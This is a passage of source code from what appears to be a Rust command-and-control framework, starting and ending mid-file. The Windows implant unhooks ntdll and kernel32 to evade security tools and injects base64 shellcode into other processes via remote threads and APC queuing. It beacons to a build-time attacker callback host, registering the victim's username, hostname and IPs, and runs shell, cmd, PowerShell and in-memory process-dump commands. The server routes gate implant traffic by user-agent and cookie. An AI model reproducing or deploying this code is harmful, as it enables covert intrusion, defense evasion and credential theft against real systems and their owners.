kernel32.sections[i].pointer_to_raw_data as *mut c_void; 35 | k32_text_size = kernel32.sections[i].size_of_raw_data as usize; 36 | break; 37 | } 38 | } 39 | for i in 0..kernelbase.sections.len() { 40 | if kernelbase.sections[i].name().unwrap() == ".text" { 41 | kernelbase_text_ptr = kernelbase.sections[i].pointer_to_raw_data as *mut c_void; 42 | kernelbase_text_size = kernelbase.sections[i].size_of_raw_data as usize; 43 | break; 44 | } 45 | } 46 | for i in 0..ntdll.sections.len() { 47 | if ntdll.sections[i].name().unwrap() == ".text" { 48 | ntdll_text_ptr = ntdll.sections[i].pointer_to_raw_data as *mut c_void; 49 | ntdll_text_size = ntdll.sections[i].size_of_raw_data as usize; 50 | break; 51 | } 52 | } 53 | // get dll handles 54 | let loaded_k32 = unsafe {winapi::um::libloaderapi::LoadLibraryExW(get_wide("kernel32.dll").as_ptr(), 0 as _, 0 as _)}; 55 | let loaded_ntdll = unsafe {winapi::um::libloaderapi::LoadLibraryExW(get_wide("ntdll.dll").as_ptr(), 0 as _, 0 as _)}; 56 | // get .text address of dll 57 | let loaded_k32_text = unsafe{(loaded_k32 as *mut c_void).offset(0x1000)}; 58 | let loaded_ntdll_text = unsafe{(loaded_ntdll as *mut c_void).offset(0x1000)}; 59 | // write .text section of known good bytes into potentially bad dlls in memory 60 | // kernel32 61 | let pid = std::process::id(); 62 | let handle = unsafe {winapi::um::processthreadsapi::OpenProcess( 63 | winapi::um::winnt::PROCESS_ALL_ACCESS, 64 | 0x01, 65 | pid 66 | )}; 67 | let mut old_protect: u32 = 0; 68 | let _ = unsafe {winapi::um::memoryapi::VirtualProtectEx( 69 | handle, 70 | loaded_k32_text, 71 | k32_text_size, 72 | winapi::um::winnt::PAGE_EXECUTE_READWRITE, 73 | &mut old_protect 74 | )}; 75 | let mut ret_len: usize = 0; 76 | let _ = unsafe {winapi::um::memoryapi::WriteProcessMemory( 77 | handle, 78 | loaded_k32_text, 79 | k32_text_ptr, 80 | k32_text_size, 81 | &mut ret_len 82 | )}; 83 | let _ = unsafe {winapi::um::memoryapi::VirtualProtectEx( 84 | handle, 85 | loaded_k32_text, 86 | k32_text_size, 87 | old_protect, 88 | &mut old_protect 89 | )}; 90 | // ntdll 91 | let _ = unsafe {winapi::um::memoryapi::VirtualProtectEx( 92 | handle, 93 | loaded_ntdll_text, 94 | ntdll_text_size, 95 | winapi::um::winnt::PAGE_EXECUTE_READWRITE, 96 | &mut old_protect 97 | )}; 98 | let _ = unsafe {winapi::um::memoryapi::WriteProcessMemory( 99 | handle, 100 | loaded_ntdll_text, 101 | ntdll_text_ptr, 102 | ntdll_text_size, 103 | &mut ret_len 104 | )}; 105 | let _ = unsafe {winapi::um::memoryapi::VirtualProtectEx( 106 | handle, 107 | loaded_ntdll_text, 108 | ntdll_text_size, 109 | old_protect, 110 | &mut old_protect 111 | )}; 112 | } 113 | -------------------------------------------------------------------------------- /src/links/windows/src/lib.rs: -------------------------------------------------------------------------------- 1 | pub mod stdlib; 2 | pub mod nonstd; 3 | pub mod evasion; 4 | 5 | #[no_mangle] 6 | pub extern fn main() { 7 | evasion::refresh_dlls(); 8 | stdlib::link_loop(); 9 | } 10 | -------------------------------------------------------------------------------- /src/links/windows/src/main.rs: -------------------------------------------------------------------------------- 1 | #![windows_subsystem = "windows"] 2 | // above declaration keeps the window hidden 3 | 4 | mod nonstd; 5 | mod stdlib; 6 | mod evasion; 7 | 8 | // UM link 9 | fn main() { 10 | evasion::refresh_dlls(); 11 | stdlib::link_loop(); 12 | } -------------------------------------------------------------------------------- /src/links/windows/src/nonstd.rs: -------------------------------------------------------------------------------- 1 | #![allow(non_snake_case)] 2 | extern crate winapi; 3 | 4 | use std::{ 5 | io::{ 6 | Error, 7 | ErrorKind::BrokenPipe, 8 | Result, 9 | }, 10 | mem::{size_of, transmute}, 11 | sync::mpsc::{channel, Receiver}, 12 | thread, 13 | time::Duration, 14 | }; 15 | 16 | use winapi::{ 17 | ctypes::c_void, 18 | shared::{ 19 | ntdef::{HANDLE, TRUE}, 20 | minwindef::{DWORD, LPVOID}, 21 | }, 22 | um::{ 23 | fileapi::ReadFile, 24 | minwinbase::{SECURITY_ATTRIBUTES, STILL_ACTIVE}, 25 | processthreadsapi::{PROCESS_INFORMATION, STARTUPINFOW}, 26 | winbase::{CREATE_NO_WINDOW, CREATE_SUSPENDED, HANDLE_FLAG_INHERIT}, 27 | winnt::{MEM_COMMIT, PAGE_EXECUTE_READ, PAGE_READWRITE, PROCESS_ALL_ACCESS}, 28 | }, 29 | }; 30 | use dynamic_winapi::um::{ 31 | handleapi::{CloseHandle, SetHandleInformation}, 32 | memoryapi::{VirtualAllocEx, VirtualProtectEx, WriteProcessMemory}, 33 | namedpipeapi::CreatePipe, 34 | processthreadsapi::{ 35 | CreateProcessW, CreateRemoteThreadEx, GetExitCodeThread, OpenProcess, 36 | QueueUserAPC, ResumeThread, 37 | }, 38 | }; 39 | 40 | use crate::stdlib::get_wide; 41 | 42 | pub fn process_injection(args: Vec<&str>) -> String { 43 | if args.len() < 2 { 44 | return obfstr::obfstr!("please specify PID").to_string() 45 | } 46 | 47 | let pid = match args[1].parse::() { 48 | Err(e) => return e.to_string(), 49 | Ok(pid) => pid, 50 | }; 51 | let shellcode_b64 = args[2]; 52 | let mut shellcode = base64::decode(shellcode_b64).unwrap(); 53 | let shellcode_ptr: *mut c_void = shellcode.as_mut_ptr() as *mut c_void; 54 | 55 | // get process handle 56 | let handle = unsafe {OpenProcess().unwrap()( 57 | PROCESS_ALL_ACCESS, 58 | 0x01, 59 | pid 60 | )}; 61 | 62 | // alloc payload 63 | let addr_shellcode = unsafe {VirtualAllocEx().unwrap()( 64 | handle, 65 | 0 as _, 66 | shellcode.len(), 67 | MEM_COMMIT, 68 | PAGE_READWRITE 69 | )}; 70 | let mut ret_len: usize = 0; 71 | let _ = unsafe {WriteProcessMemory().unwrap()( 72 | handle, 73 | addr_shellcode, 74 | shellcode_ptr, 75 | shellcode.len(), 76 | &mut ret_len 77 | )}; 78 | 79 | // protect and execute 80 | let mut old_protect: u32 = 0; 81 | let _ = unsafe {VirtualProtectEx().unwrap()( 82 | handle, 83 | addr_shellcode, 84 | shellcode.len(), 85 | PAGE_EXECUTE_READ, 86 | &mut old_protect 87 | )}; 88 | let _ = unsafe {CreateRemoteThreadEx().unwrap()( 89 | handle, 90 | 0 as _, 91 | 0, 92 | transmute(addr_shellcode), 93 | 0 as _, 94 | 0, 95 | 0 as _, 96 | 0 as _ 97 | )}; 98 | 99 | obfstr::obfstr!("success").to_string() 100 | } 101 | 102 | struct HandleSend { 103 | handle: *mut c_void, 104 | } 105 | 106 | unsafe impl Send for HandleSend {} 107 | 108 | pub fn execute_shellcode(args: Vec<&str>) -> String { 109 | if args.len() < 2 { 110 | return "".to_string() 111 | } 112 | 113 | // extract arguments 114 | let process = args[1]; 115 | let shellcode_b64 = args[2]; 116 | let mut shellcode = base64::decode(shellcode_b64).unwrap(); 117 | let shellcode_ptr: *mut c_void = shellcode.as_mut_ptr() as *mut c_void; 118 | 119 | // dynamically resolve required functions 120 | let CreatePipe = CreatePipe().unwrap(); 121 | let SetHandleInformation = SetHandleInformation().unwrap(); 122 | let CreateProcessW = CreateProcessW().unwrap(); 123 | let QueueUserAPC = QueueUserAPC().unwrap(); 124 | let CloseHandle = CloseHandle().unwrap(); 125 | let GetExitCodeThread = GetExitCodeThread().unwrap(); 126 | let ResumeThread = ResumeThread().unwrap(); 127 | 128 | let mut std_in_r: HANDLE = 0 as _; 129 | let mut std_in_w: HANDLE = 0 as _; 130 | let mut std_out_r: HANDLE = 0 as _; 131 | let mut std_out_w: HANDLE = 0 as _; 132 | // sec attributes 133 | let mut sa = SECURITY_ATTRIBUTES { 134 | nLength: size_of::() as _, 135 | lpSecurityDescriptor: 0 as _, 136 | bInheritHandle: 1, 137 | }; 138 | // create pipes 139 | let _ = unsafe { CreatePipe(&mut std_in_r, &mut std_in_w, &mut sa, 0) }; 140 | let _ = unsafe { SetHandleInformation(std_in_w, HANDLE_FLAG_INHERIT, 0) }; 141 | let _ = unsafe { CreatePipe(&mut std_out_r, &mut std_out_w, &mut sa, 0) }; 142 | let _ = unsafe { SetHandleInformation(std_out_r, HANDLE_FLAG_INHERIT, 0) }; 143 | 144 | let mut si = STARTUPINFOW{ 145 | cb: size_of::() as DWORD, 146 | lpReserved: 0 as _, 147 | lpDesktop: 0 as _, 148 | lpTitle: 0 as _, 149 | dwX: 0, 150 | dwY: 0, 151 | dwXSize: 0, 152 | dwYSize: 0, 153 | dwXCountChars: 0, 154 | dwYCountChars: 0, 155 | dwFillAttribute: 0, 156 | dwFlags: 0x00000100, 157 | wShowWindow: 1, 158 | cbReserved2: 0, 159 | lpReserved2: 0 as _, 160 | hStdInput: std_in_r, 161 | hStdOutput: std_out_w, 162 | hStdError: std_out_w, 163 | }; 164 | let mut pi = PROCESS_INFORMATION{ 165 | hProcess: 0 as _, 166 | hThread: 0 as _, 167 | dwProcessId: 0, 168 | dwThreadId: 0, 169 | }; 170 | 171 | 172 | // read shellcode output in thread 173 | let mut out_buf: Vec = Vec::new(); 174 | let out_string: String; 175 | let (tx, rx) = channel::(); 176 | let (tx_kill, rx_kill) = channel::(); 177 | let tmp_handle = HandleSend { 178 | handle: std_out_r 179 | }; 180 | 181 | thread::spawn(move || { 182 | let ret = read_from_pipe(tmp_handle.handle, &mut out_buf, &rx_kill); 183 | match ret { 184 | Ok(_) => tx.send(String::from_utf8(out_buf).unwrap()).unwrap(), 185 | Err(_) => tx.send(obfstr::obfstr!("error reading from pipe").to_string()).unwrap(), 186 | } 187 | }); 188 | 189 | // spawn suspended process 190 | let _ = unsafe { CreateProcessW( 191 | 0 as _, 192 | get_wide(process).as_mut_ptr(), 193 | 0 as _, 194 | 0 as _, 195 | TRUE as _, 196 | CREATE_NO_WINDOW | CREATE_SUSPENDED, 197 | 0 as _, 198 | 0 as _, 199 | &mut si, 200 | &mut pi, 201 | )}; 202 | 203 | let handle = pi.hProcess; 204 | 205 | // alloc payload 206 | let addr_shellcode = unsafe {VirtualAllocEx().unwrap()( 207 | handle, 208 | 0 as _, 209 | shellcode.len(), 210 | MEM_COMMIT, 211 | PAGE_READWRITE 212 | )}; 213 | let mut ret_len: usize = 0; 214 | let _ = unsafe {WriteProcessMemory().unwrap()( 215 | handle, 216 | addr_shellcode, 217 | shellcode_ptr, 218 | shellcode.len(), 219 | &mut ret_len 220 | )}; 221 | 222 | // protect 223 | let mut old_protect: u32 = 0; 224 | let _ = unsafe {VirtualProtectEx().unwrap()( 225 | handle, 226 | addr_shellcode, 227 | shellcode.len(), 228 | PAGE_EXECUTE_READ, 229 | &mut old_protect 230 | )}; 231 | 232 | // Queue shellcode for execution and resume thread 233 | let _ = unsafe { QueueUserAPC( 234 | Some(transmute(addr_shellcode)), 235 | pi.hThread, 236 | 0 as _ 237 | )}; 238 | let _ = unsafe { ResumeThread(pi.hThread) }; 239 | 240 | // close handles 241 | let _ = unsafe { CloseHandle(handle); }; 242 | let _ = unsafe { CloseHandle(std_out_w); }; 243 | let _ = unsafe { CloseHandle(std_in_r); }; 244 | 245 | // wait for thread to finish 246 | loop { 247 | let mut ret_code: u32 = 0; 248 | let _ = unsafe {GetExitCodeThread( 249 | pi.hThread, 250 | &mut ret_code 251 | )}; 252 | if ret_code == STILL_ACTIVE { 253 | continue; 254 | } else { 255 | let _ = tx_kill.send(true); 256 | match rx.recv() { 257 | Ok(output) => { 258 | out_string = output; 259 | break; 260 | }, 261 | Err(_) => { 262 | out_string = obfstr::obfstr!("could not get output").to_string(); 263 | break; 264 | }, 265 | } 266 | } 267 | } 268 | out_string 269 | } 270 | 271 | pub trait IsZero { 272 | fn is_zero(&self) -> bool; 273 | } 274 | 275 | macro_rules! impl_is_zero { 276 | ($($t:ident)*) => ($(impl IsZero for $t { 277 | fn is_zero(&self) -> bool { 278 | *self == 0 279 | } 280 | })*) 281 | } 282 | 283 | impl_is_zero! { i8 i16 i32 i64 isize u8 u16 u32 u64 usize } 284 | 285 | pub fn cvt(i: I) -> Result { 286 | if i.is_zero() { Err(Error::last_os_error()) } else { Ok(i) } 287 | } 288 | 289 | pub fn read_from_pipe(handle: HANDLE, buf: &mut Vec, kill: &Receiver) -> Result { 290 | let mut total_read = 0; 291 | let kill = kill.to_owned(); 292 | let mut complete = false; 293 | loop { 294 | let mut read = 0; 295 | let mut tmp_buf = [0; 10001]; 296 | let res = cvt(unsafe { 297 | ReadFile(handle, tmp_buf.as_mut_ptr() as LPVOID, 10001 as _, &mut read, 0 as _) 298 | }); 299 | 300 | match res { 301 | Ok(_) => { 302 | buf.extend_from_slice(&tmp_buf); 303 | total_read = total_read + read; 304 | }, 305 | Err(ref e) if e.kind() == BrokenPipe => break, 306 | Err(_) => break, 307 | } 308 | if complete { 309 | continue; 310 | } 311 | match kill.recv_timeout(Duration::from_millis(100)) { 312 | Ok(_) => { complete = true; }, 313 | Err(_) => {}, 314 | } 315 | } 316 | Ok(total_read as usize) 317 | } -------------------------------------------------------------------------------- /src/links/windows/src/stdlib.rs: -------------------------------------------------------------------------------- 1 | // imports 2 | use std::os::windows::process::CommandExt; 3 | use std::time::Duration; 4 | use std::thread::sleep; 5 | use serde::{Serialize, Deserialize}; 6 | use std::ffi::OsStr; 7 | use std::os::windows::ffi::OsStrExt; 8 | 9 | use crate::nonstd; 10 | 11 | // structs 12 | #[derive(Debug, Serialize, Deserialize)] 13 | pub struct RegisterLink { 14 | pub link_username: String, 15 | pub link_hostname: String, 16 | pub internal_ip: String, 17 | pub external_ip: String, 18 | pub platform: String, 19 | pub pid: u32, 20 | } 21 | 22 | #[derive(Debug, Serialize, Deserialize)] 23 | pub struct Task { 24 | pub q: String, 25 | pub tasking: String, 26 | pub x_request_id: String, 27 | } 28 | 29 | pub fn link_loop() { 30 | let ua = user_link(); 31 | let client = reqwest::blocking::Client::builder() 32 | .user_agent(ua) 33 | .cookie_store(true) 34 | .danger_accept_invalid_certs(true) 35 | //.http2_prior_knowledge() 36 | .build().unwrap(); 37 | // SECURITY 38 | // encrypted callback string with env var at build 39 | let callback = env!("CALLBACK").to_string(); 40 | let step1_cb = format!("https://{}/js", callback); 41 | let step2_cb = format!("https://{}/static/register", callback); 42 | let step3_cb = format!("https://{}/static/get", callback); 43 | // keep retrying to reach C2 44 | loop { 45 | let step1 = client.get(step1_cb.as_str()).send(); 46 | match step1 { 47 | Ok(_) => break, 48 | Err(_) => continue, 49 | } 50 | } 51 | let register_link = RegisterLink { 52 | link_username: username(), 53 | link_hostname: hostname(), 54 | internal_ip: internal_ip(), 55 | external_ip: String::new(), 56 | platform: std::env::consts::OS.to_string(), 57 | pid: pid(), 58 | }; 59 | let mut uresp: reqwest::blocking::Response; 60 | loop { 61 | let resp = client.post(step2_cb.as_str()) 62 | .json(®ister_link) 63 | .send(); 64 | match resp { 65 | Ok(_) => { 66 | uresp = resp.unwrap(); 67 | break 68 | }, 69 | Err(_) => continue, 70 | } 71 | } 72 | let mut recv_task: Task = uresp.json().unwrap(); 73 | 74 | // link loop 75 | let mut send_task = Task { 76 | q: String::from(""), 77 | tasking: String::from(""), 78 | x_request_id: String::from(""), 79 | }; 80 | loop { 81 | // poll 82 | let resp = client.post(step3_cb.as_str()) 83 | .header("x-request-id", recv_task.x_request_id.clone()) 84 | .json(&send_task) 85 | .send(); 86 | match resp { 87 | Ok(_) => (), 88 | Err(_) => continue, 89 | } 90 | uresp = resp.unwrap(); 91 | recv_task = uresp.json().unwrap(); 92 | send_task.q = String::new(); 93 | send_task.tasking = String::new(); 94 | 95 | if recv_task.tasking.len() > 0 { 96 | // time to exec the command 97 | send_task.q = link_command(recv_task.q); 98 | if send_task.q.clone() == "exit".to_string() { 99 | break; 100 | } 101 | send_task.tasking = recv_task.tasking; 102 | recv_task.q = String::new(); 103 | recv_task.tasking = String::new(); 104 | // no need to wait after a task 105 | continue; 106 | } 107 | // this should be defined by server with jitter and delay 108 | sleep(Duration::from_secs(3)); 109 | } 110 | } 111 | 112 | fn link_command(command: String) -> String { 113 | // DEBUG AGENT 114 | let arg_split = command.as_str().split(' '); 115 | let args = arg_split.collect::>(); 116 | // obfsscated args 117 | match args[0] { 118 | a if (a == obfstr::obfstr!("procdump")) => safetydump::in_memory_dump(args), 119 | a if (a == obfstr::obfstr!("execute-shellcode")) => nonstd::execute_shellcode(args), 120 | a if (a == obfstr::obfstr!("inject")) => nonstd::process_injection(args), 121 | a if (a == obfstr::obfstr!("cmd")) => command_spawn(args), 122 | a if (a == obfstr::obfstr!("shell")) => shell(args), 123 | a if (a == obfstr::obfstr!("powershell")) => powershell(args), 124 | a if (a == obfstr::obfstr!("cd")) => cd(args), 125 | a if (a == obfstr::obfstr!("pwd")) => pwd(), 126 | a if (a == obfstr::obfstr!("ls")) => ls(args), 127 | a if (a == obfstr::obfstr!("pid")) => pid().to_string(), 128 | a if (a == obfstr::obfstr!("whoami")) => String::from(format!("{}\\{}", hostname(), username())), 129 | a if (a == obfstr::obfstr!("integrity")) => integrity(), 130 | a if (a == obfstr::obfstr!("exit")) => return "exit".to_string(), 131 | _ => String::from(format!("not a command")), 132 | } 133 | } 134 | 135 | fn shell(args: Vec<&str>) -> String { 136 | if args.len() < 1 { 137 | return String::from("") 138 | } 139 | let output = std::process::Command::new(args[1]) 140 | .args(&args[2..]) 141 | .creation_flags(winapi::um::winbase::CREATE_NO_WINDOW) 142 | .output(); 143 | match output { 144 | Ok(output) => { return String::from(format!("{}{}", 145 | String::from_utf8(output.stdout).unwrap(), 146 | String::from_utf8(output.stderr).unwrap())) 147 | }, 148 | Err(e) => return format!("{}", e), 149 | } 150 | } 151 | 152 | fn command_spawn(args: Vec<&str>) -> String { 153 | if args.len() < 1 { 154 | return String::from("") 155 | } 156 | let command_string = args[1..].join(" "); 157 | let command = command_string.as_str(); 158 | let output = std::process::Command::new("cmd") 159 | .args(&["/C", command]) 160 | .creation_flags(winapi::um::winbase::CREATE_NO_WINDOW) 161 | .output(); 162 | match output { 163 | Ok(output) => { return String::from(format!("{}{}", 164 | String::from_utf8(output.stdout).unwrap(), 165 | String::from_utf8(output.stderr).unwrap())) 166 | }, 167 | Err(e) => return format!("{}", e), 168 | } 169 | } 170 | 171 | fn powershell(args: Vec<&str>) -> String { 172 | if args.len() < 1 { 173 | return String::from("") 174 | } 175 | let command_string = args[1..].join(" "); 176 | let output = std::process::Command::new("powershell") 177 | .args(&["-noP", "-sta", "-w", "1", command_string.as_str()]) 178 | .creation_flags(winapi::um::winbase::CREATE_NO_WINDOW) 179 | .output(); 180 | match output { 181 | Ok(output) => { return String::from(format!("{}{}", 182 | String::from_utf8(output.stdout).unwrap(), 183 | String::from_utf8(output.stderr).unwrap())) 184 | }, 185 | Err(e) => return format!("{}", e), 186 | } 187 | } 188 | 189 | fn ls(args: Vec<&str>) -> String { 190 | let mut directory = "."; 191 | if args.len() > 1 { 192 | directory = args[1]; 193 | } 194 | let read = std::fs::read_dir(directory); 195 | let mut output: Vec = Vec::new(); 196 | if read.is_ok() { 197 | for path in read.unwrap() { 198 | if let Ok(entry) = path { 199 | // get more metadata and format correctly 200 | // file and folder perms 201 | if let Ok(metadata) = entry.metadata() { 202 | output.push(String::from(format!("{:100} {}", entry.path().display(), metadata.len()))); 203 | } else { 204 | output.push(String::from(format!("{}", entry.path().display()))); 205 | } 206 | } 207 | } 208 | } else { 209 | return String::from(format!("Could not ls: {:?}", read.err().unwrap())) 210 | } 211 | output.join("\n") 212 | } 213 | 214 | fn pwd() -> String { 215 | if let Ok(current) = std::env::current_dir() { 216 | return String::from(format!("{}", current.display())) 217 | } else { 218 | return String::from("Could not get current directory") 219 | } 220 | } 221 | 222 | fn cd(args: Vec<&str>) -> String { 223 | if args.len() > 1 { 224 | if std::env::set_current_dir(args[1]).is_ok() { 225 | return String::from(args[1]) 226 | } else { 227 | return String::from("Could not change directory") 228 | } 229 | } else { 230 | return String::from("") 231 | } 232 | } 233 | 234 | fn username() -> String { 235 | let mut name = [0; 256]; 236 | let mut size = 256; 237 | unsafe { 238 | winapi::um::winbase::GetUserNameW(&mut name[0], &mut size); 239 | } 240 | String::from_utf16_lossy(&name[..size as usize]) 241 | } 242 | 243 | fn hostname() -> String { 244 | let mut name = [0; 256]; 245 | let mut size = 256; 246 | unsafe { 247 | winapi::um::winbase::GetComputerNameW(&mut name[0], &mut size); 248 | } 249 | String::from_utf16_lossy(&name[..size as usize]) 250 | } 251 | 252 | fn internal_ip() -> String { 253 | let mut iface_string = String::new(); 254 | let ifaces = ifcfg::IfCfg::get().expect("no if"); 255 | for inf in ifaces { 256 | for addr in inf.addresses { 257 | match addr.address_family { 258 | ifcfg::AddressFamily::IPv4 => { 259 | let ip_raw = addr.address.unwrap().to_string(); 260 | if iface_string.is_empty() { 261 | iface_string = format!("{}", ip_raw); 262 | continue; 263 | } 264 | iface_string = format!("{},{}", iface_string, ip_raw); 265 | } 266 | _ => (), 267 | } 268 | } 269 | } 270 | iface_string 271 | } 272 | 273 | fn pid() -> u32 { 274 | std::process::id() 275 | } 276 | 277 | fn integrity() -> String { 278 | // TODO 279 | // Low (SID: S-1-16-4096) 280 | // Medium (SID: S-1-16-8192) 281 | // High (SID: S-1-16-12288) 282 | // System (SID: S-1-16-16384) 283 | if username().to_lowercase() == "system" { 284 | return "System".to_string() 285 | } 286 | "Medium".to_string() 287 | } 288 | 289 | // TODO 290 | // dynamic with build env var 291 | fn user_link() -> String { 292 | "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko".to_string() 293 | } 294 | 295 | pub fn get_wide(s: &str) -> Vec { 296 | OsStr::new(s).encode_wide().chain(std::iter::once(0)).collect() 297 | } 298 | -------------------------------------------------------------------------------- /src/main.rs: -------------------------------------------------------------------------------- 1 | // internal packages 2 | pub mod routes; 3 | pub mod server; 4 | pub mod util; 5 | 6 | #[macro_use] extern crate prettytable; 7 | 8 | #[actix_web::main] 9 | async fn main() { 10 | util::cli::main_loop().await; 11 | } 12 | -------------------------------------------------------------------------------- /src/models/db.rs: -------------------------------------------------------------------------------- 1 | // TODO 2 | // add DB support 3 | /* 4 | extern crate sqlx; 5 | use sqlx::sqlite::SqlitePool; 6 | use sqlx::Done; 7 | 8 | // references 9 | // https://github.com/actix/examples/blob/master/sqlx_todo/src/main.rs 10 | // https://github.com/launchbadge/sqlx/tree/master/examples/sqlite/todos 11 | // 12 | 13 | pub fn start() { 14 | let pool = SqlitePool::connect("sqlite:protocol.db").await?; 15 | } 16 | */ 17 | 18 | -------------------------------------------------------------------------------- /src/models/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod db; 2 | -------------------------------------------------------------------------------- /src/routes/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod urls; 2 | -------------------------------------------------------------------------------- /src/routes/urls.rs: -------------------------------------------------------------------------------- 1 | use actix_web::{get, guard, web, FromRequest, HttpResponse, Responder}; 2 | use serde::{Deserialize, Serialize}; 3 | //use std::io::Write; 4 | 5 | // internal packages 6 | use crate::server::{links, tasks}; 7 | use links::Links; 8 | use tasks::TaskStatus; 9 | 10 | // structs 11 | #[derive(Debug, Serialize, Deserialize)] 12 | pub struct RegisterLink { 13 | pub link_username: String, 14 | pub link_hostname: String, 15 | pub internal_ip: String, 16 | pub external_ip: String, 17 | pub platform: String, 18 | pub pid: u32, 19 | } 20 | 21 | #[derive(Debug, Serialize, Deserialize)] 22 | pub struct Callback { 23 | pub q: String, 24 | pub tasking: String, 25 | } 26 | 27 | #[derive(Debug, Serialize, Deserialize)] 28 | pub struct Task { 29 | pub q: String, 30 | pub tasking: String, 31 | pub x_request_id: String, 32 | } 33 | 34 | // non link routes 35 | #[get("/")] 36 | pub async fn index() -> impl Responder { 37 | // link and non link traffic should not be able to reach here by introducing another check 38 | HttpResponse::Ok().body("Ok\n") 39 | } 40 | 41 | // link pass tests 42 | pub async fn stage_one_secret() -> impl Responder { 43 | // SECURITY 44 | // these should be a lot more thorough 45 | // add dynamic per link cookie as well as below to sessionid=xxxxx-xxxx-xx-x-x-x-xx-xx 46 | let cookie = actix_web::cookie::Cookie::build("banner", "banner") 47 | .path("/") 48 | .secure(true) 49 | .http_only(true) 50 | .same_site(actix_web::cookie::SameSite::Strict) 51 | .finish(); 52 | HttpResponse::Ok().cookie(cookie).body("Ok\n") 53 | } 54 | 55 | // configurations 56 | pub fn stage_one_pass(cfg: &mut web::ServiceConfig) { 57 | cfg.service( 58 | web::resource("") 59 | // guards should be dynamic, such as user agent 60 | .guard(guard::Header( 61 | "user-agent", 62 | "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko", 63 | )) 64 | .route(web::get().to(stage_one_secret)), 65 | ); 66 | } 67 | 68 | pub fn pass_link_config(cfg: &mut web::ServiceConfig) { 69 | // guard headers are case sensitive!!! 70 | cfg.service( 71 | web::resource("/get") 72 | // custom Json size 73 | .data(web::Json::::configure(|cfg| { 74 | cfg.limit(1024 * 1024 * 1000) 75 | })) 76 | // guards should be dynamic, such as user agent and per link sessionid cookie 77 | .guard(guard::Header( 78 | "user-agent", 79 | "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko", 80 | )) 81 | .guard(guard::Header("cookie", "banner=banner")) 82 | .route(web::post().to(link_poll)), 83 | ); 84 | cfg.service( 85 | // change these names for actual static items such as icon.png etc... 86 | web::resource("/register") 87 | // guards should be dynamic, such as user agent and per link sessionid cookie 88 | .guard(guard::Header( 89 | "user-agent", 90 | "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko", 91 | )) 92 | .guard(guard::Header("cookie", "banner=banner")) 93 | .route(web::post().to(link_register)), 94 | ); 95 | } 96 | 97 | // link callbacks 98 | // SECURITY 99 | // add bruteforce countermeasures here 100 | pub async fn link_register( 101 | query: web::Json, 102 | http_req: web::HttpRequest, 103 | data: web::Data, 104 | ) -> impl Responder { 105 | let mut new = links::Link::new(); 106 | let new_x_request_id = format!("{}", new.x_request_id); 107 | new.link_username = query.link_username.clone(); 108 | new.link_hostname = query.link_hostname.clone(); 109 | new.internal_ip = query.internal_ip.clone(); 110 | new.external_ip = "not yet do via google||microsoft".to_string(); 111 | new.platform = query.platform.clone(); 112 | new.pid = query.pid; 113 | // already a guard on this header but good practice 114 | // get user_agent 115 | let user_agent = http_req.headers().get("user-agent"); 116 | if user_agent.is_some() { 117 | new.user_agent = user_agent.unwrap().to_str().unwrap().to_string(); 118 | } 119 | let mut links = data.links.lock().unwrap(); 120 | links.push(new); 121 | let mut count = data.count.lock().unwrap(); 122 | *count += 1; 123 | // print new link to stdout 124 | let cli_stdout = data.stdout.lock().unwrap(); 125 | let mut cli_handle = cli_stdout.lock(); 126 | let link_name = format!( 127 | "{} ({}\\{}@{})", 128 | links.last().unwrap().name.clone(), 129 | query.link_hostname.clone(), 130 | query.link_username.clone(), 131 | query.internal_ip.clone(), 132 | ); 133 | tasks::write_link_to_stdout(&mut cli_handle, link_name); 134 | let task = Task { 135 | tasking: String::from(""), 136 | q: String::from(""), 137 | x_request_id: new_x_request_id, 138 | }; 139 | HttpResponse::Ok().json(task) 140 | } 141 | 142 | // SECURITY 143 | // after link working with server, all data should be encrypted and encoded in transit 144 | // CBC ciphers will suffice 145 | // prefereably private/public key 146 | pub async fn link_poll( 147 | callback: web::Json, 148 | http_req: web::HttpRequest, 149 | data: web::Data, 150 | ) -> impl Responder { 151 | // check if X-Request-ID exists 152 | let x_request_id = http_req.headers().get("x-request-id"); 153 | if x_request_id.is_none() { 154 | return HttpResponse::Ok().body("x-req is none\n"); 155 | } 156 | let x_request_id_str: String; 157 | if x_request_id.unwrap().to_str().is_ok() { 158 | x_request_id_str = x_request_id.unwrap().to_str().unwrap().to_string(); 159 | } else { 160 | return HttpResponse::Ok().body("x req is err\n"); 161 | }; 162 | 163 | // check q parameter in query 164 | let returned_data = callback.q.clone(); 165 | let returned_task_id = callback.tasking.clone(); 166 | let mut links = match data.links.lock() { 167 | Err(_) => return HttpResponse::Ok().body(""), 168 | Ok(links) => links, 169 | }; 170 | if links.len() == 0 { 171 | return HttpResponse::Ok().body(""); 172 | } 173 | let mut link_index: usize = 0; 174 | 175 | // search for link 176 | for i in 0..links.len() { 177 | if links[i as usize].x_request_id.to_string() == x_request_id_str { 178 | // link index found 179 | link_index = i; 180 | break; 181 | } 182 | } 183 | 184 | // update internal status 185 | if links[link_index].status != links::LinkStatus::Active { 186 | links[link_index].status = links::LinkStatus::Active; 187 | } 188 | 189 | // update check in time 190 | links[link_index].update_last_checkin(); 191 | 192 | // tasks 193 | let tasks_in_queue = links[link_index].tasks.tasks.len(); 194 | for i in 0..tasks_in_queue { 195 | // if task id assign its index with one 196 | // provide link with command to execute FIFO 197 | if returned_task_id.is_empty() { 198 | // find first task in queue waiting to be executed 199 | if links[link_index].tasks.tasks[i as usize].status == TaskStatus::Waiting { 200 | // add new x-request-id 201 | let new_x_request_id = links[link_index].set_x_request_id(); 202 | // update task and send command to link 203 | let task_id = links[link_index].tasks.tasks[i as usize].id.to_string(); 204 | let command = links[link_index].tasks.tasks[i as usize].command.clone(); 205 | links[link_index].update_task_status(TaskStatus::InProgress, task_id.clone()); 206 | let task = Task { 207 | tasking: task_id, 208 | q: command, 209 | x_request_id: new_x_request_id, 210 | }; 211 | return HttpResponse::Ok().json(task); 212 | } 213 | // data returned from task on link 214 | } else if links[link_index].tasks.tasks[i as usize].id.to_string() == returned_task_id { 215 | links[link_index].tasks.tasks[i as usize].output = returned_data.clone(); 216 | // print task output to stdout 217 | let cli_stdout = data.stdout.lock().unwrap(); 218 | let mut cli_handle = 